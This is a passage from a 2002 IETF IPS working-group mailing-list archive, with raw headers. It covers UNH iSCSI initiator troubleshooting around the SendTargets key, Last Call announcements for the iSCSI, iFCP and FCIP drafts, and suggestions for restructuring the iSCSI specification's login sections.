upon receiving the Login error response, also terminates the login and reports the error at the shell level. Nothing to fix -- what were you thinking should happen? Best, Bob Russell On Sat, 24 Aug 2002, shesha bhushan wrote: > Hi, > I am using UNH iSCSI code on Redhat Linux boxes. How to specify the > "SendTarget" options at the initiator. If I specify as manage parameters > (./iscsi_manage InitiatorName=abc TargetName=xyz SendTargets=all host=0) > then at the target side it gives the following error .... > > -------------------------------------------------------------------------- > Aug 23 20:32:04 kernel: 1287: Got key: SendTargets=all > Aug 23 20:32:04 kernel: ../common/text_param.h:scan_input_and_process:2411: > ***ERROR*** SendTargets can only be used in full feature phase > -------------------------------------------------------------------------- > > Now at the initiator side it gives the followimg error at shell > > /proc/scsi/iscsi_initiator/0: Software caused connection abort > > > and the error that is logged in /var/log/message is > > ----------------------------------------------------------------------- > > Aug 23 20:50:44 kernel: ../common/text_param.h:check_login_response:1848: > ***ERROR*** Login Response with StatusClass 0x02, StatusDetail 0x00 > > Aug 23 20:50:44 kernel: 3702: parameter negotiation failed > ----------------------------------------------------------------------- > > How can I fix this problem. Please advice. > > Thanks > Shesha > > > > > > _________________________________________________________________ > MSN Photos is the easiest way to share and print your photos: > http://photos.msn.com/support/worldwide.aspx > From owner-ips@ece.cmu.edu Sat Aug 24 11:06:23 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12169 for ; Sat, 24 Aug 2002 11:06:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7OEYD200860 for ips-outgoing; Sat, 24 Aug 2002 10:34:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hotmail.com (f168.pav2.hotmail.com [64.4.37.168]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7O3tQo00697 for ; Fri, 23 Aug 2002 23:55:26 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 23 Aug 2002 20:55:20 -0700 Received: from 129.219.25.77 by pv2fd.pav2.hotmail.msn.com with HTTP; Sat, 24 Aug 2002 03:55:20 GMT X-Originating-IP: [129.219.25.77] From: "shesha bhushan" To: cdeng@iol.unh.edu, qtao@iol.unh.edu, rdr@iol.unh.edu Cc: ips@ece.cmu.edu Subject: SendTarget Options in UNH v-.11 code. Date: Sat, 24 Aug 2002 03:55:20 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 24 Aug 2002 03:55:20.0767 (UTC) FILETIME=[1119CCF0:01C24B22] Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi, I am using UNH iSCSI code on Redhat Linux boxes. How to specify the "SendTarget" options at the initiator. If I specify as manage parameters (./iscsi_manage InitiatorName=abc TargetName=xyz SendTargets=all host=0) then at the target side it gives the following error .... -------------------------------------------------------------------------- Aug 23 20:32:04 kernel: 1287: Got key: SendTargets=all Aug 23 20:32:04 kernel: ../common/text_param.h:scan_input_and_process:2411: ***ERROR*** SendTargets can only be used in full feature phase -------------------------------------------------------------------------- Now at the initiator side it gives the followimg error at shell /proc/scsi/iscsi_initiator/0: Software caused connection abort and the error that is logged in /var/log/message is ----------------------------------------------------------------------- Aug 23 20:50:44 kernel: ../common/text_param.h:check_login_response:1848: ***ERROR*** Login Response with StatusClass 0x02, StatusDetail 0x00 Aug 23 20:50:44 kernel: 3702: parameter negotiation failed ----------------------------------------------------------------------- How can I fix this problem. Please advice. Thanks Shesha _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx From owner-ips@ece.cmu.edu Sat Aug 24 18:01:43 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA18537 for ; Sat, 24 Aug 2002 18:01:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7OLMCR14726 for ips-outgoing; Sat, 24 Aug 2002 17:22:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hotmail.com (f55.pav2.hotmail.com [64.4.37.55]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7OGYio05077 for ; Sat, 24 Aug 2002 12:34:44 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 24 Aug 2002 09:34:34 -0700 Received: from 129.219.25.77 by pv2fd.pav2.hotmail.msn.com with HTTP; Sat, 24 Aug 2002 16:34:34 GMT X-Originating-IP: [129.219.25.77] From: "shesha bhushan" To: rdr@io.iol.unh.edu Cc: cdeng@iol.unh.edu, qtao@iol.unh.edu, ips@ece.cmu.edu Subject: Re: SendTarget Options in UNH v-.11 code. Date: Sat, 24 Aug 2002 16:34:34 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 24 Aug 2002 16:34:34.0373 (UTC) FILETIME=[212A7350:01C24B8C] Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Robert, I agree with what you say. So what should I do to get the information about the targets. What command should I have to issue at the shell ? Thanking You Shesha >From: "Robert D. Russell" >To: shesha bhushan >CC: cdeng@iol.unh.edu, , >Subject: Re: SendTarget Options in UNH v-.11 code. >Date: Sat, 24 Aug 2002 09:49:45 -0400 (EDT) > >Hi Shesha: > >There is no problem to be fixed here -- everything is performing exactly >as it is supposed to! > >According to the standard, the SendTargets key can ONLY be sent during >Full Feature Phase. Therefore, when the initiator sends it during >login (because of the iscsi_manage command you used), the target >correctly gives an error and terminates the login. The initiator, >upon receiving the Login error response, also terminates the login >and reports the error at the shell level. >Nothing to fix -- what were you thinking should happen? > >Best, >Bob Russell > > >On Sat, 24 Aug 2002, shesha bhushan wrote: > > > Hi, > > I am using UNH iSCSI code on Redhat Linux boxes. How to specify the > > "SendTarget" options at the initiator. If I specify as manage parameters > > (./iscsi_manage InitiatorName=abc TargetName=xyz SendTargets=all host=0) > > then at the target side it gives the following error .... > > > > >-------------------------------------------------------------------------- > > Aug 23 20:32:04 kernel: 1287: Got key: SendTargets=all > > Aug 23 20:32:04 kernel: >../common/text_param.h:scan_input_and_process:2411: > > ***ERROR*** SendTargets can only be used in full feature phase > > >-------------------------------------------------------------------------- > > > > Now at the initiator side it gives the followimg error at shell > > > > /proc/scsi/iscsi_initiator/0: Software caused connection abort > > > > > > and the error that is logged in /var/log/message is > > > > ----------------------------------------------------------------------- > > > > Aug 23 20:50:44 kernel: >../common/text_param.h:check_login_response:1848: > > ***ERROR*** Login Response with StatusClass 0x02, StatusDetail 0x00 > > > > Aug 23 20:50:44 kernel: 3702: parameter negotiation failed > > ----------------------------------------------------------------------- > > > > How can I fix this problem. Please advice. > > > > Thanks > > Shesha > > > > > > > > > > > > _________________________________________________________________ > > MSN Photos is the easiest way to share and print your photos: > > http://photos.msn.com/support/worldwide.aspx > > > _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx From owner-ips@ece.cmu.edu Mon Aug 26 09:04:58 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07762 for ; Mon, 26 Aug 2002 09:04:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7QCKMO22414 for ips-outgoing; Mon, 26 Aug 2002 08:20:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from tcslko.lko.tcs.co.in ([210.212.52.35]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7QCKEo22409 for ; Mon, 26 Aug 2002 08:20:15 -0400 (EDT) Received: from svrlucknow.lko.tcs.co.in (svrlucknow.lko.tcs.co.in [157.227.8.3]) by tcslko.lko.tcs.co.in (8.9.3+Sun/8.9.1) with ESMTP id RAA09741; Mon, 26 Aug 2002 17:47:13 -0500 (GMT) Subject: Error in running UNH iSCSI code To: ips@ece.cmu.edu Cc: cdeng@iol.unh.edu, qtao@iol.unh.edu, rdr@iol.unh.edu X-Mailer: Lotus Notes Release 5.0.6a January 17, 2001 Message-ID: From: udayan_singh@lko.tcs.co.in Date: Mon, 26 Aug 2002 17:43:41 +0530 X-MIMETrack: Serialize by Router on SVRLUCKNOW/TCSLUCKNOW/TCS(Release 5.0.6a |January 17, 2001) at 08/26/2002 05:44:13 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk hi, I am using UNH iSCSI code on Redhat Linux on virtual machine. Here after installing the initiator module and target module we got the following errors on the initiator end : Gotkey: SessionType=Normal ../common/text_param.h : check_correctness:1368: ***ERROR*** key"SessionType" cannot be sent to initiator. and at target end: iscsi_target.c : error: rx_data: rx_loop_0 total_rx_0 iscsi_rx_thread : trouble receiving data. Thanks Udayan From owner-ips@ece.cmu.edu Mon Aug 26 12:11:09 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12805 for ; Mon, 26 Aug 2002 12:11:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7QFamx04968 for ips-outgoing; Mon, 26 Aug 2002 11:36:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7QFalo04964 for ; Mon, 26 Aug 2002 11:36:47 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 26 Aug 2002 11:36:40 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C20C@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: iSCSI WG Last Call COMPLETE Date: Mon, 26 Aug 2002 11:36:34 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk The ips WG Last Call period on the iSCSI draft, draft-ietf-ips-iscsi-15.txt, closed yesterday. In the judgment of the WG co-chairs, all of the technical issues that have been raised are relatively minor and can be addressed without a further WG Last Call. At least one further version of the draft is expected to encompass these as well as a number of editorial changes. So, the iSCSI draft has *passed* WG Last Call - it's been a lot of work to get here. May thanks to all who have contributed, and for the perseverance, dedication and patience of those involved, especially Julian who has put in untold hours of work to get the draft to this stage. Congratulations. Thanks, --David and Elizabeth --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Mon Aug 26 12:13:57 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12891 for ; Mon, 26 Aug 2002 12:13:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7QFhLn05360 for ips-outgoing; Mon, 26 Aug 2002 11:43:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7QFhIo05353 for ; Mon, 26 Aug 2002 11:43:19 -0400 (EDT) Received: from hpdst41.cup.hp.com (hpdst41.cup.hp.com [15.16.128.62]) by palrel10.hp.com (Postfix) with ESMTP id 3F239C0051E; Mon, 26 Aug 2002 08:43:18 -0700 (PDT) Received: from cup.hp.com (ld702931.cup.hp.com [15.8.84.40]) by hpdst41.cup.hp.com (8.9.3 (PHNE_24419)/8.9.3 SMKit7.02) with ESMTP id IAA17255; Mon, 26 Aug 2002 08:43:15 -0700 (PDT) Message-ID: <3D6A4C99.F0D76F05@cup.hp.com> Date: Mon, 26 Aug 2002 08:43:21 -0700 From: Ullas Ponnadi X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: shesha bhushan Cc: rdr@io.iol.unh.edu, cdeng@iol.unh.edu, qtao@iol.unh.edu, ips@ece.cmu.edu Subject: Re: SendTarget Options in UNH v-.11 code. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi Shesha, I am assuming that you are using the latest version ( ref13_06 ) which has support for ver 11 also. By default, the target will send response to SendTargets during the discovery phase. At the initiator end, you will have to look at the response and construct information about targets. Hope that helps. Regards, Ullas shesha bhushan wrote: > Hi Robert, > I agree with what you say. So what should I do to get the information > about the targets. What command should I have to issue at the shell ? > > Thanking You > Shesha > > >From: "Robert D. Russell" > >To: shesha bhushan > >CC: cdeng@iol.unh.edu, , > >Subject: Re: SendTarget Options in UNH v-.11 code. > >Date: Sat, 24 Aug 2002 09:49:45 -0400 (EDT) > > > >Hi Shesha: > > > >There is no problem to be fixed here -- everything is performing exactly > >as it is supposed to! > > > >According to the standard, the SendTargets key can ONLY be sent during > >Full Feature Phase. Therefore, when the initiator sends it during > >login (because of the iscsi_manage command you used), the target > >correctly gives an error and terminates the login. The initiator, > >upon receiving the Login error response, also terminates the login > >and reports the error at the shell level. > >Nothing to fix -- what were you thinking should happen? > > > >Best, > >Bob Russell > > > > > >On Sat, 24 Aug 2002, shesha bhushan wrote: > > > > > Hi, > > > I am using UNH iSCSI code on Redhat Linux boxes. How to specify the > > > "SendTarget" options at the initiator. If I specify as manage parameters > > > (./iscsi_manage InitiatorName=abc TargetName=xyz SendTargets=all host=0) > > > then at the target side it gives the following error .... > > > > > > > >-------------------------------------------------------------------------- > > > Aug 23 20:32:04 kernel: 1287: Got key: SendTargets=all > > > Aug 23 20:32:04 kernel: > >../common/text_param.h:scan_input_and_process:2411: > > > ***ERROR*** SendTargets can only be used in full feature phase > > > > >-------------------------------------------------------------------------- > > > > > > Now at the initiator side it gives the followimg error at shell > > > > > > /proc/scsi/iscsi_initiator/0: Software caused connection abort > > > > > > > > > and the error that is logged in /var/log/message is > > > > > > ----------------------------------------------------------------------- > > > > > > Aug 23 20:50:44 kernel: > >../common/text_param.h:check_login_response:1848: > > > ***ERROR*** Login Response with StatusClass 0x02, StatusDetail 0x00 > > > > > > Aug 23 20:50:44 kernel: 3702: parameter negotiation failed > > > ----------------------------------------------------------------------- > > > > > > How can I fix this problem. Please advice. > > > > > > Thanks > > > Shesha > > > > > > > > > > > > > > > > > > _________________________________________________________________ > > > MSN Photos is the easiest way to share and print your photos: > > > http://photos.msn.com/support/worldwide.aspx > > > > > > > _________________________________________________________________ > MSN Photos is the easiest way to share and print your photos: > http://photos.msn.com/support/worldwide.aspx From owner-ips@ece.cmu.edu Mon Aug 26 13:13:11 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14594 for ; Mon, 26 Aug 2002 13:13:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7QGdig08885 for ips-outgoing; Mon, 26 Aug 2002 12:39:44 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hammer.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7QGdfo08880 for ; Mon, 26 Aug 2002 12:39:41 -0400 (EDT) Received: from hq-ex-c2.brocade.com (hq-ex-c2.brocade.com [192.168.126.35]) by hammer.brocade.com (8.11.3/8.11.3) with ESMTP id g7QGdZO13047 for ; Mon, 26 Aug 2002 09:39:35 -0700 (PDT) Received: by hq-ex-c2.brocade.com with Internet Mail Service (5.5.2653.19) id ; Mon, 26 Aug 2002 09:39:35 -0700 Message-ID: From: Elizabeth Rodriguez To: "'ips@ece.cmu.edu'" Subject: IPS All: FC Encaps and iFCP sent on to ADs for further processing Date: Mon, 26 Aug 2002 09:39:31 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24D1F.26DFA0B0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24D1F.26DFA0B0 Content-Type: text/plain; charset="iso-8859-1" Hi all, A note to let you know that the FC Frame Encapsulation and iFCP documents were sent on to the ADs on Friday for further processing. I would like to review what happens now... The ADs will review the documents, determine if they feel these documents are ready to go forward or not. Things they look for when reviewing the draft are: Technical quality, interoperability, completeness, security, nits, readability and usability/usefulness. They may return the documents for further processing by the authors/working group if they feel it is not ready to be forwarded. Once they have completed this review, and feel that the document is ready, it will be submitted for IETF Last Call, which will be a minimum of a two week period. We will keep this list updated on the progress of the drafts. Thanks Elizabeth Rodriguez IPS co-chair ------_=_NextPart_001_01C24D1F.26DFA0B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable IPS All: FC Encaps and iFCP sent on to ADs for further = processing

Hi all,

A note to let you know that the FC = Frame Encapsulation and iFCP documents were sent on to the ADs on = Friday for further processing.

I would like to review what happens = now...

The ADs will review the documents, = determine if they feel these documents are ready to go forward or not. =
Things they look for when reviewing = the draft are:

Technical quality, interoperability, = completeness, security, nits, readability and = usability/usefulness.

They may return the documents for = further processing by the authors/working group if they feel it is not = ready to be forwarded.

Once they have completed this review, = and feel that the document is ready, it will be submitted for IETF Last = Call, which will be a minimum of a two week period.

We will keep this list updated on the = progress of the drafts.

Thanks

Elizabeth Rodriguez
IPS co-chair

------_=_NextPart_001_01C24D1F.26DFA0B0-- From owner-ips@ece.cmu.edu Mon Aug 26 14:31:51 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17853 for ; Mon, 26 Aug 2002 14:31:51 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7QHrn014847 for ips-outgoing; Mon, 26 Aug 2002 13:53:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from gw.openss7.com (IDENT:oq96qwfy0cR4Ae8xX0lkJGOV+00wX7Ru@fw.openss7.com [142.179.197.31] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7QHrgo14835 for ; Mon, 26 Aug 2002 13:53:43 -0400 (EDT) Received: from ns.pigworks.openss7.net (ns1.evil.openss7.net [192.168.9.1]) by gw.openss7.com (8.11.6/8.11.6) with ESMTP id g7QHrZN18208; Mon, 26 Aug 2002 11:53:35 -0600 Received: (from brian@localhost) by ns.pigworks.openss7.net (8.11.6/8.11.6) id g7QHrZa12913; Mon, 26 Aug 2002 11:53:35 -0600 Date: Mon, 26 Aug 2002 11:53:34 -0600 From: "Brian F. G. Bidulock" To: Black_David@emc.com Cc: ips@ece.cmu.edu Subject: Re: iSCSI WG Last Call COMPLETE Message-ID: <20020826115334.A12828@openss7.org> Reply-To: bidulock@openss7.org References: <277DD60FB639D511AC0400B0D068B71E0564C20C@CORPMX14> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <277DD60FB639D511AC0400B0D068B71E0564C20C@CORPMX14>; from Black_David@emc.com on Mon, Aug 26, 2002 at 11:36:34AM -0400 Organization: http://www.openss7.org/ Dsn-Notification-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit David, Congratulations. On another note, are there any plans or drafts for supporting iSCSI (or IPS in general) over SCTP? --brian On Mon, 26 Aug 2002, Black_David@emc.com wrote: > The ips WG Last Call period on the iSCSI draft, > draft-ietf-ips-iscsi-15.txt, closed yesterday. In > the judgment of the WG co-chairs, all of the technical > issues that have been raised are relatively minor and > can be addressed without a further WG Last Call. At > least one further version of the draft is expected to > encompass these as well as a number of editorial > changes. > > So, the iSCSI draft has *passed* WG Last Call - it's > been a lot of work to get here. May thanks to all > who have contributed, and for the perseverance, > dedication and patience of those involved, especially > Julian who has put in untold hours of work to get the > draft to this stage. Congratulations. > > Thanks, > --David and Elizabeth > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- -- Brian F. G. Bidulock ¦ The reasonable man adapts himself to the ¦ bidulock@openss7.org ¦ world; the unreasonable one persists in ¦ http://www.openss7.org/ ¦ trying to adapt the world to himself. ¦ ¦ Therefore all progress depends on the ¦ ¦ unreasonable man. -- George Bernard Shaw ¦ From owner-ips@ece.cmu.edu Mon Aug 26 18:25:04 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24211 for ; Mon, 26 Aug 2002 18:25:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7QKhhl26312 for ips-outgoing; Mon, 26 Aug 2002 16:43:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7QKheo26298 for ; Mon, 26 Aug 2002 16:43:40 -0400 (EDT) Received: from hq-ex-c3.brocade.com (hq-ex-c3 [192.168.126.211]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id NAA17528 for ; Mon, 26 Aug 2002 13:43:33 -0700 (PDT) Received: by hq-ex-c3.brocade.com with Internet Mail Service (5.5.2653.19) id ; Mon, 26 Aug 2002 13:43:33 -0700 Message-ID: From: Elizabeth Rodriguez To: "'ips@ece.cmu.edu'" Subject: IPS-ALL: WG Last Call on "Finding FCIP Entities Using SLPv2" Date: Mon, 26 Aug 2002 13:43:24 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24D41.38CB0F40" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24D41.38CB0F40 Content-Type: text/plain; charset="iso-8859-1" All, We would like to announce IPS WG last call on the draft "Finding FCIP Entities Using SLPv2". The last call period is for two weeks, ending at 5pm EST on Tuesday, September 10. Editorial comments may be directly sent to Dave Peterson (dap@cisco.com), with copy to myself (erodrigu@brocade.com), David Black (black_david@emc.com) and Murali Rajagopal(muralir@cox.net) Technical comments should be sent to the IPS mailing list for discussion. Summary: Draft: Finding FCIP Entities Using SLPv2 URL: http://www.ietf.org/internet-drafts/draft-ietf-ips-fcip-slp-03.txt Period: 2 weeks, ending at 5pm Tuesday, Sept 10 Author: Dave Peterson (dap@cisco.com) TC: Murali Rajogapal (muralir@cox.net) Thanks, Elizabeth Rodriguez & David Black, IPS co-chairs ------_=_NextPart_001_01C24D41.38CB0F40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable IPS-ALL: WG Last Call on "Finding FCIP Entities Using = SLPv2"

All,

We would like to announce IPS WG = last call on the draft "Finding FCIP Entities Using SLPv2".
The last call period is for two = weeks, ending at 5pm EST on Tuesday, September 10.

Editorial comments may be = directly sent to Dave Peterson (dap@cisco.com),
with copy to myself = (erodrigu@brocade.com), David Black (black_david@emc.com) and Murali = Rajagopal(muralir@cox.net)
Technical comments should be = sent to the IPS mailing list for discussion.

Summary:
Draft:  =         Finding FCIP Entities Using SLPv2
URL:    =         http://www.ietf.org/internet-drafts/draft-ietf-ips-fci= p-slp-03.txt
Period: 2 weeks, ending at 5pm = Tuesday, Sept 10
Author: Dave Peterson = (dap@cisco.com)
TC:     =         Murali Rajogapal = (muralir@cox.net)

Thanks,

Elizabeth Rodriguez & David = Black,
IPS co-chairs



------_=_NextPart_001_01C24D41.38CB0F40-- From owner-ips@ece.cmu.edu Mon Aug 26 18:57:58 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24985 for ; Mon, 26 Aug 2002 18:57:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7QMIfx02461 for ips-outgoing; Mon, 26 Aug 2002 18:18:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7QMIdo02455 for ; Mon, 26 Aug 2002 18:18:39 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g7QMISH08741; Mon, 26 Aug 2002 18:18:28 -0400 Message-ID: <3D6AA936.4783E63E@splentec.com> Date: Mon, 26 Aug 2002 18:18:30 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19 i686) X-Accept-Language: en MIME-Version: 1.0 To: Brian Forbes CC: "'Julian Satran'" , ips@ece.cmu.edu Subject: Re: IPS WG Last Call: Structural Improvements References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Brian Forbes wrote: > > To be more specific & constructive, and to see whether there is support from > others for these suggestions, here goes: > > - The topic of login needs an overview section that introduces concepts such > as session phases, connection phases, session types, declarations vs. > negotiations, and login stages. Much of the terminology is introduced on > the fly. > Agreed. While the details are there and explained, presenting the ``big picture'' of the procedure would be invaluable to the uninitiated reader. Currently a new reader in encumbered with the task of building the ``big picture'' by just reading about the details (CSG/NSG, etc.). > - There are many cases where an English phrase is used as a euphemism for > well-defined iSCSI term. One example is the use of a phrase like 'the > maximum length of unsolicited data negotiated during login' instead of > 'FirstBurstLength'. Such euphemisms might be justified early in an > overview, before the iSCSI term has been introduced, but anywhere else it > leaves the reader wondering. At a minimum, euphemisms should be > supplemented by appending the iSCSI term in parentheses, and in many cases a > forward section reference is also in order. It also suggests that more > iSCSI terms should be introduced (but not necessarily defined in detail) > earlier in the text; e.g. frequently-mentioned key names. At this stage we can afford to get rid of euphemisms altogether. I.e. there'd be no more changes of names at all. If ``FirstBurstLength'' is intended, then that name should be used, and if the reader needs to know what it is, they can always look up its definition elsewhere in the iSCSI document. This would make the text more robust and more clear (in my opinion). > - There seem to be cases where new terminology/notation would be very > useful. There are many phrases of the form 'an X having the Y bit set to > 1'; when multiples of these appear in the same sentence-and they do- parsing > becomes difficult. One could define a flavor of X that implies having the Y > bit set; e.g. one could define a 'final Data-out PDU' as a PDU having the F > bit set. Agreed. Defining ``final Data-x PDU'' to be equivalent to a PDU whose F bit = 1, and then defining a sequence to end with a final Data-x PDU, would clarify text in the sense that instead of saying: ``has to have it's F bit = 1'' one would say ``the PDU sequence'' and that's it. If one wants to know what is meant, they'd look up ``PDU sequence'', then ``final Data-x PDU'', etc. Clearly a structurally more sound document. -- Luben P.S. Yes, indeed, semantics _do_ make a difference. And we've seen this fact shown numerous times in the latter 20th century, contrary to the mid-20th century fad ``It's only semantics''. From owner-ips@ece.cmu.edu Mon Aug 26 19:58:34 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA26203 for ; Mon, 26 Aug 2002 19:58:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7QNJZe05743 for ips-outgoing; Mon, 26 Aug 2002 19:19:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7QNJYo05739 for ; Mon, 26 Aug 2002 19:19:34 -0400 (EDT) Received: from hq-ex-c3.brocade.com (hq-ex-c3 [192.168.126.211]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id QAA00304; Mon, 26 Aug 2002 16:19:09 -0700 (PDT) Received: by hq-ex-c3.brocade.com with Internet Mail Service (5.5.2653.19) id ; Mon, 26 Aug 2002 16:19:09 -0700 Message-ID: From: Brian Forbes To: "'Luben Tuikov'" , Brian Forbes Cc: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: IPS WG Last Call: Structural Improvements Date: Mon, 26 Aug 2002 16:19:08 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24D56.FAC4E890" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24D56.FAC4E890 Content-Type: text/plain To Luben's point, since semantics is all about meaning, people who dismiss discussions as 'just arguing semantics' can't really mean what they're saying (maybe they mean 'just arguing syntax'?). :-) To be fair to ouor esteemed and harried editor, Julian did incorporate certain of my comments from the previous Last Call, probably to the limit of his time & patience. And I didn't 